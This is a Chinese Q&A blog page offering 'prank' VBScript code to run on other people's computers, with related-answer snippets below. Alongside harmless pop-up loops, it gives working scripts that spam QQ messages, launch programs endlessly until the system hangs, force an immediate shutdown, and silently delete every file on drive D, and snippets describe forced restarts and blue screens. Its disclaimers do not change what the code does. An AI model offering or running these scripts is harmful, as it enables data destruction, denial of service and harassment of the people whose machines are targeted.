檬味博客 » 问答 » vbs整人代码_vbs整人关机代码不管用_vbs简单代码

vbs整人代码_vbs整人关机代码不管用_vbs简单代码

一、发送定制次数的QQ信息给好友。复制代码如下：On Error Resume Next Dim wsh,ye Set wsh=createobject("wscript.shell")For i=1 to 10 WScript.Sleep 700 Wsh.AppActivate("与 xx 聊天中")Wsh.SendKeys "^v"Wsh.SendKeys i Wsh.SendKeys "%s"Next Wscript.Quit 此代码可根据需要调整发送次...
vbs整人代码_vbs整人关机代码不管用_vbs简单代码
本篇文章集合了多款VBS整人代码，旨在娱乐而非恶意破坏。以下为具体代码及其用途：

一、发送定制次数的QQ信息给好友。

复制代码如下：

On Error Resume Next

Dim wsh,ye

Set wsh=createobject("wscript.shell")

For i=1 to 10

WScript.Sleep 700

Wsh.AppActivate("与 xx 聊天中")

Wsh.SendKeys "^v"

Wsh.SendKeys i

Wsh.SendKeys "%s"

Next

Wscript.Quit

此代码可根据需要调整发送次数，用于恶作剧或娱乐。

二、持续弹出“你真愚蠢！”的对话框。

复制代码如下：

Do

MsgBox "You are foolish!"

Loop

通过此代码，可实现持续弹窗，增添趣味性。

三、打开无数个计算器，直至系统资源耗尽。

复制代码如下：

Do

Wsh.Run "calc"

Loop

通过不断启动计算器程序，达到消耗系统资源、直至死机的目的。

四、直接执行关机命令。

复制代码如下：

Dim WSHshell

Set WSHshell = wscript.createobject("wscript.shell")

WshShell.Run "shutdown -f -s -t 00",0 ,true

此代码执行关机操作，需谨慎使用，避免造成不便。

五、删除指定目录下的所有文件。

复制代码如下：

Dim WSHshell

Set WSHshell = wscript.createobject("wscript.shell")

WshShell.Run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

执行此操作时应确保了解其影响，并避免误删重要文件。

六、不断弹出对话框。

复制代码如下：

While(1)

MsgBox "哈哈 你被耍了！"

此代码持续弹出对话框，用于恶作剧或增添娱乐性。

以上代码均需在谨慎情况下使用，旨在娱乐而非恶意破坏他人设备或系统。请在使用前充分考虑其潜在影响。2024-09-15
mengvlog 阅读 29 次 更新于 2025-09-09 08:38:46 我来答关注问题0
1 个回答檬味博客专题活动
  • 文暄生活科普 vbs整人代码_vbs整人关机代码不管用_vbs简单代码

    Wscript.Quit 此代码可根据需要调整发送次数，用于恶作剧或娱乐。二、持续弹出“你真愚蠢！”的对话框。复制代码如下：Do MsgBox "You are foolish!"Loop 通过此代码，可实现持续弹窗，增添趣味性。三、打开无数个计算器，直至系统资源耗尽。复制代码如下：Do Wsh.Run "calc"Loop 通过不断启动计算器程序...

  • 文暄生活科普 vbs整人代码_手机vbs整人代码_如何让别人执行vbs代码

    一、自动向QQ好友发送特定信息。创建名为“xx.vbs”的VBS文件，然后替换其中的“xx”为好友昵称，修改发送次数与间隔时间，即可自动向该好友发送信息。示例代码如下：复制代码 代码如下:On Error Resume Next Dim wsh,ye set wsh=createobject("wscript.shell")for i=1 to 10 wscript.sleep 700 wsh....

  • 宸辰游艺策划 vbs整人的代码。

    这段VBS代码用于整人，其中包含了各种恶作剧手段，如弹窗、自动发送按键、蓝屏和强制关机。首先，它会弹出一系列消息框，询问你是否经常失眠，并以祖传秘方结束，实际上却只是循环弹出数字羊的窗口。接下来是一段自动打字的代码，它会打开记事本并自动输入一串英文字符，这个功能可以用来恶作剧，比如在别人的电...

  • 深空游戏 如何用电脑代码和人开玩笑?

    新建文本文档，复制代码。代码如下: on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""说我是猪，不说我是猪就一分钟关你机，不信，你试试···"" &#...

  • 宸辰游艺策划 恶搞自动关机整人程序?

    这是一段用于恶作剧的VBS脚本代码，它利用了Windows的关机命令来实现整人效果。脚本首先创建了一个WScript.Shell对象，并通过运行命令行工具cmd.exe来执行关机命令。具体来说，如果在60秒内没有输入"我是猪"，那么计算机将自动重启。同时，它还会显示一个带有提示信息的消息框。紧接着，脚本进入一个无限...

其他代码类似问题

檬味博客在线解答立即免费咨询

代码相关话题

Copyright © 2023 WWW.MENGVLOG.COM - 檬味博客
返回顶部